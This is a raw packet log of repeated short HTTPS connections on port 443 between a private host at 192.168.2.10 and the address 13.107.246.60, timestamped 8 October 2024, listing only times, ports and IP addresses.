Oct 8, 2024 03:24:29.378249884 CEST	49847	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.378298998 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.378385067 CEST	49847	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.378520012 CEST	49847	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.378531933 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.382117033 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.382160902 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.382208109 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.382210016 CEST	49843	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.382253885 CEST	49843	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.382451057 CEST	49843	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.382451057 CEST	49843	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.382471085 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.382482052 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.385267973 CEST	49848	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.385308027 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.385379076 CEST	49848	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.385555029 CEST	49848	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.385570049 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.425976038 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.426523924 CEST	49844	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.426551104 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.427253962 CEST	49844	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.427259922 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.529664993 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.529798031 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.529870033 CEST	49844	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.530061960 CEST	49844	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.530087948 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.530102015 CEST	49844	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.530107975 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.533340931 CEST	49849	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.533406973 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.533509016 CEST	49849	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.533718109 CEST	49849	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.533736944 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.570084095 CEST	443	49845	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.570763111 CEST	49845	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.570785999 CEST	443	49845	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.571242094 CEST	49845	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.571245909 CEST	443	49845	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.671546936 CEST	443	49845	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.671622992 CEST	443	49845	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.671725035 CEST	49845	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.671991110 CEST	49845	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.672010899 CEST	443	49845	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.672020912 CEST	49845	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.672028065 CEST	443	49845	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.675123930 CEST	49850	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.675173044 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.675263882 CEST	49850	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.675455093 CEST	49850	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.675481081 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.767627954 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.768261909 CEST	49846	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.768290043 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.768821001 CEST	49846	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.768843889 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.868499994 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.869086027 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.869147062 CEST	49846	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.869204998 CEST	49846	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.869225025 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.869235992 CEST	49846	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.869241953 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.872103930 CEST	49851	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.872140884 CEST	443	49851	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.872210979 CEST	49851	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.872360945 CEST	49851	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.872375011 CEST	443	49851	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.042182922 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.042778015 CEST	49848	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.042802095 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.043236971 CEST	49848	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.043241024 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.057605028 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.058146954 CEST	49847	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.058202982 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.058576107 CEST	49847	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.058583021 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.140973091 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.141143084 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.141207933 CEST	49848	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.141345978 CEST	49848	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.141366005 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.141376972 CEST	49848	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.141381979 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.144251108 CEST	49852	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.144289017 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.144376993 CEST	49852	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.144543886 CEST	49852	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.144555092 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.165957928 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.166222095 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.166282892 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.166285038 CEST	49847	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.166338921 CEST	49847	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.166395903 CEST	49847	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.166419983 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.166430950 CEST	49847	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.166436911 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.169562101 CEST	49853	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.169600010 CEST	443	49853	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.169671059 CEST	49853	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.169795990 CEST	49853	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.169805050 CEST	443	49853	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.182014942 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.182531118 CEST	49849	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.182566881 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.183013916 CEST	49849	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.183027029 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.285073996 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.285106897 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.285160065 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.285262108 CEST	49849	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.285440922 CEST	49849	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.285465002 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.285475969 CEST	49849	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.285480976 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.288234949 CEST	49854	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.288283110 CEST	443	49854	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.288362026 CEST	49854	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.288490057 CEST	49854	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.288501024 CEST	443	49854	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.350488901 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.351212025 CEST	49850	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.351255894 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.351681948 CEST	49850	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.351690054 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.455418110 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.455498934 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.455688953 CEST	49850	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.455959082 CEST	49850	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.455981016 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.455992937 CEST	49850	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.455998898 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.458868980 CEST	49855	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.458913088 CEST	443	49855	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.458983898 CEST	49855	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.459137917 CEST	49855	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.459160089 CEST	443	49855	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.535612106 CEST	443	49851	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.536290884 CEST	49851	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.536309958 CEST	443	49851	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.536799908 CEST	49851	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.536806107 CEST	443	49851	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.637084007 CEST	443	49851	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.637161016 CEST	443	49851	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.637219906 CEST	49851	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.637394905 CEST	49851	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.637415886 CEST	443	49851	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.637428045 CEST	49851	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.637434006 CEST	443	49851	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.648469925 CEST	49856	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.648509026 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.648580074 CEST	49856	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.648752928 CEST	49856	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.648765087 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.808466911 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.809098959 CEST	49852	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.809111118 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.809580088 CEST	49852	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.809582949 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.850414038 CEST	443	49853	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.851068020 CEST	49853	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.851111889 CEST	443	49853	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.851439953 CEST	49853	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.851449966 CEST	443	49853	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.919750929 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.919817924 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.919886112 CEST	49852	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.920147896 CEST	49852	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.920165062 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.920181990 CEST	49852	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.920188904 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.923296928 CEST	49857	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.923369884 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.923458099 CEST	49857	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.923641920 CEST	49857	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.923660040 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.934475899 CEST	443	49854	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.934988022 CEST	49854	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.935022116 CEST	443	49854	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.935436010 CEST	49854	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.935444117 CEST	443	49854	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.955883026 CEST	443	49853	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.955995083 CEST	443	49853	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.956064939 CEST	49853	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.956201077 CEST	49853	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.956222057 CEST	443	49853	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.956233025 CEST	49853	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.956238985 CEST	443	49853	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.959002972 CEST	49858	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.959111929 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:30.959225893 CEST	49858	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.959420919 CEST	49858	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:30.959456921 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.034622908 CEST	443	49854	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.034722090 CEST	443	49854	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.034785032 CEST	49854	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.034961939 CEST	49854	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.034987926 CEST	443	49854	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.035001993 CEST	49854	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.035007954 CEST	443	49854	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.037677050 CEST	49859	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.037723064 CEST	443	49859	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.037801027 CEST	49859	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.037945032 CEST	49859	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.037955046 CEST	443	49859	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.111778975 CEST	443	49855	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.112354040 CEST	49855	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.112365007 CEST	443	49855	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.112867117 CEST	49855	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.112871885 CEST	443	49855	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.215537071 CEST	443	49855	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.215620041 CEST	443	49855	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.215665102 CEST	49855	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.215960026 CEST	49855	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.215974092 CEST	443	49855	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.215986967 CEST	49855	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.215991974 CEST	443	49855	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.220551014 CEST	49860	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.220573902 CEST	443	49860	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.220632076 CEST	49860	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.220884085 CEST	49860	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.220890045 CEST	443	49860	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.299679041 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.300107002 CEST	49856	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.300121069 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.300623894 CEST	49856	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.300631046 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.399427891 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.399692059 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.399782896 CEST	49856	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.400490046 CEST	49856	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.400509119 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.400520086 CEST	49856	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.400525093 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.403311968 CEST	49861	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.403374910 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.403453112 CEST	49861	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.403601885 CEST	49861	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.403614044 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.580979109 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.581562996 CEST	49857	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.581609011 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.582027912 CEST	49857	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.582034111 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.599426031 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.599968910 CEST	49858	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.599978924 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.600388050 CEST	49858	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.600393057 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.704895973 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.704933882 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.704998016 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.705105066 CEST	49857	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.705105066 CEST	49857	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.705275059 CEST	49857	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.705308914 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.705326080 CEST	49857	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.705332041 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.708009005 CEST	443	49859	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.708331108 CEST	49862	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.708441973 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.708528996 CEST	49862	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.708551884 CEST	49859	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.708570004 CEST	443	49859	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.708765984 CEST	49862	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.708811045 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.708844900 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.709011078 CEST	49859	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.709013939 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.709016085 CEST	443	49859	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.709069967 CEST	49858	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.709148884 CEST	49858	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.709153891 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.709163904 CEST	49858	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.709167957 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.711328983 CEST	49863	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.711370945 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.711433887 CEST	49863	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.711559057 CEST	49863	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.711572886 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.811753988 CEST	443	49859	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.811922073 CEST	443	49859	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.811975002 CEST	49859	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.812099934 CEST	49859	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.812118053 CEST	443	49859	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.812129974 CEST	49859	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.812134981 CEST	443	49859	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.814851046 CEST	49864	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.814913988 CEST	443	49864	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.814982891 CEST	49864	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.815128088 CEST	49864	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.815145969 CEST	443	49864	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.881752014 CEST	443	49860	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.882482052 CEST	49860	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.882496119 CEST	443	49860	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.882929087 CEST	49860	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.882934093 CEST	443	49860	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.981647015 CEST	443	49860	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.981806040 CEST	443	49860	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.981928110 CEST	49860	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.982151985 CEST	49860	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.982167959 CEST	443	49860	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.982177019 CEST	49860	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.982182026 CEST	443	49860	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.985084057 CEST	49865	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.985122919 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:31.985224009 CEST	49865	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.985399008 CEST	49865	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:31.985410929 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.062119961 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.062773943 CEST	49861	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.062824965 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.063256979 CEST	49861	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.063263893 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.161103010 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.161122084 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.161164999 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.161252022 CEST	49861	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.161288977 CEST	49861	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.161567926 CEST	49861	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.161581039 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.161595106 CEST	49861	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.161600113 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.164700985 CEST	49866	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.164729118 CEST	443	49866	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.164823055 CEST	49866	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.164989948 CEST	49866	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.165009022 CEST	443	49866	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.344443083 CEST	443	49862	13.107.246.60	192.168.2.10
